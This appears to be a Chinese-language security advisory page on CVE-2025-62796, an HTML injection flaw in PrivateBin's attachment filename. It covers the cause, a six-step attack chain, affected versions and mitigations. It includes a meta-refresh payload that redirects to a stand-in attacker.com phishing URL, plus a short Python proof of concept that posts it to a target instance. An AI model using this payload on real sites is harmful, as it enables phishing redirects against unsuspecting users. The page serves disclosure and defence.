IPBUF安全漏洞报告
English
CVE-2025-62796 CVSS 5.8 中危

CVE-2025-62796 PrivateBin 持久型HTML注入漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-62796
漏洞类型
HTML注入
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PrivateBin

相关标签

HTML注入持久型XSSPrivateBinCVE-2025-62796附件注入内容渲染零知识加密Web安全中危漏洞输入验证

漏洞概述

PrivateBin是一款开源的在线pastebin服务,其核心特点是服务器对粘贴数据保持零知识(zero-knowledge),即服务器端无法访问或解密用户数据。该漏洞影响PrivateBin 1.7.7至2.0.1版本,源于附件功能中attachment_name字段在处理时未进行适当的HTML转义或过滤。攻击者可以在加密操作前修改附件文件名,注入任意HTML代码。当受害者访问并解密该粘贴内容时,恶意HTML会被直接渲染到页面中,且不进行任何转义处理。这种持久型HTML注入可被用于实现页面重定向(如meta refresh标签)、站点内容篡改以及钓鱼攻击。由于PrivateBin默认推荐启用严格的内容安全策略(CSP),JavaScript脚本执行会被阻止,这在一定程度上限制了漏洞的潜在危害,但HTML注入本身仍然构成中等级别的安全风险。漏洞由GitHub安全团队于2025年10月28日披露并发布修复版本。

技术细节

漏洞的根本原因在于PrivateBin的附件处理逻辑中,对attachment_name字段的输出渲染缺少必要的HTML实体编码。在版本1.7.7引入附件功能时,开发团队未充分考虑文件名作为用户可控输入的安全性。具体而言,当附件启用时,系统会将attachment_name与文件大小提示一起显示在页面上,但直接输出了未经过滤的原始值。攻击者可以构造形如<meta http-equiv="refresh" content="0;url=https://attacker.com">的attachment_name值,由于缺少HTML转义,浏览器会将此meta标签解析为页面指令,实现自动重定向。更进一步,攻击者可注入伪造的登录表单或恶意链接用于钓鱼。值得注意的是,虽然CSP会阻止<script>标签的执行,但<meta>、<iframe>、<a>等HTML标签的注入仍可产生实际危害。攻击的持久性体现在恶意数据被加密存储在服务器端,所有访问该粘贴的用户都会触发注入内容。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标网站上运行的PrivateBin版本,确认其版本在1.7.7至2.0.1范围内且附件功能处于启用状态。通过检查页面源码或API响应可获取版本信息。
STEP 2
步骤2: 构造恶意payload
攻击者构造包含HTML标签的attachment_name值,常见payload包括<meta http-equiv="refresh">用于重定向、<iframe>用于嵌入外部内容、<a>标签配合样式用于钓鱼等。此payload在加密前被嵌入到粘贴数据结构中。
STEP 3
步骤3: 创建恶意粘贴
通过PrivateBin的API或Web界面创建粘贴,将恶意attachment_name作为附件元数据一并提交。数据在客户端加密后传输到服务器,服务器以零知识方式存储密文。
STEP 4
步骤4: 分发钓鱼链接
攻击者获取粘贴的唯一标识符(paste ID),生成包含该ID的分享链接,并通过社交工程手段(钓鱼邮件、即时消息、社交媒体)诱导受害者访问。
STEP 5
步骤5: 受害者访问解密
受害者访问链接后,PrivateBin返回加密数据,浏览器在客户端解密并渲染页面内容。此时attachment_name中的HTML标签被浏览器直接解析执行。
STEP 6
步骤6: 攻击生效
根据注入的HTML内容,攻击目标可能遭受以下危害:页面自动重定向到钓鱼站点(meta refresh)、看到被篡改的页面内容(注入的广告或虚假信息)、或被诱导填写敏感信息的伪造表单(HTML注入的登录框)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-62796 PoC - PrivateBin HTML Injection via attachment_name # This PoC demonstrates how to inject arbitrary HTML via attachment_name TARGET_URL = "https://privatebin-instance.net/" def create_malicious_paste(): """ Create a paste with malicious attachment_name containing HTML injection payload. The payload uses meta refresh tag to redirect users to attacker-controlled site. """ injection_payload = '<meta http-equiv="refresh" content="0;url=https://attacker.com/phishing">' # PoC payload structure for PrivateBin API # Note: This is a simplified demonstration of the vulnerability concept paste_data = { "v": 2, "adata": [], "meta": { "attachment_name": injection_payload, "attachment_size": 1024 }, "hide": False } headers = { "Content-Type": "application/json", "X-Requested-With": "JSONHttpRequest" } try: response = requests.post( f"{TARGET_URL}", data=json.dumps(paste_data), headers=headers ) print(f"[*] Response Status: {response.status_code}") return response.json() except Exception as e: print(f"[!] Error: {e}") return None def verify_injection(paste_id): """ Verify that the HTML injection was successful by checking the paste content. """ try: response = requests.get(f"{TARGET_URL}?pasteid={paste_id}&format=json") data = response.json() # Check if attachment_name is rendered without escaping if '<meta http-equiv="refresh"' in str(data): print("[!] VULNERABLE: HTML injection successful!") return True else: print("[*] SAFE: Injection payload was sanitized") return False except Exception as e: print(f"[!] Error verifying: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62796 PoC - PrivateBin HTML Injection") print("=" * 60) result = create_malicious_paste() if result and "id" in result: print(f"[*] Paste created with ID: {result['id']}") verify_injection(result['id'])

影响范围

PrivateBin 1.7.7
PrivateBin 1.7.8
PrivateBin 1.7.9
PrivateBin 1.8.0
PrivateBin 1.8.1
PrivateBin 1.8.2
PrivateBin 1.8.3
PrivateBin 2.0.0
PrivateBin 2.0.1

防御指南

临时缓解措施
在无法立即升级到2.0.2的情况下,可采取以下临时缓解措施:首先,确保PrivateBin的Content Security Policy(内容安全策略)配置为推荐的最严格模式,这虽不能完全阻止HTML注入但可限制后续攻击链;其次,考虑将PrivateBin部署在独立域名/子域名上,利用浏览器同源策略隔离风险;最后,如业务允许,可临时禁用附件上传功能以消除攻击面。长期来看,应尽快规划并执行版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表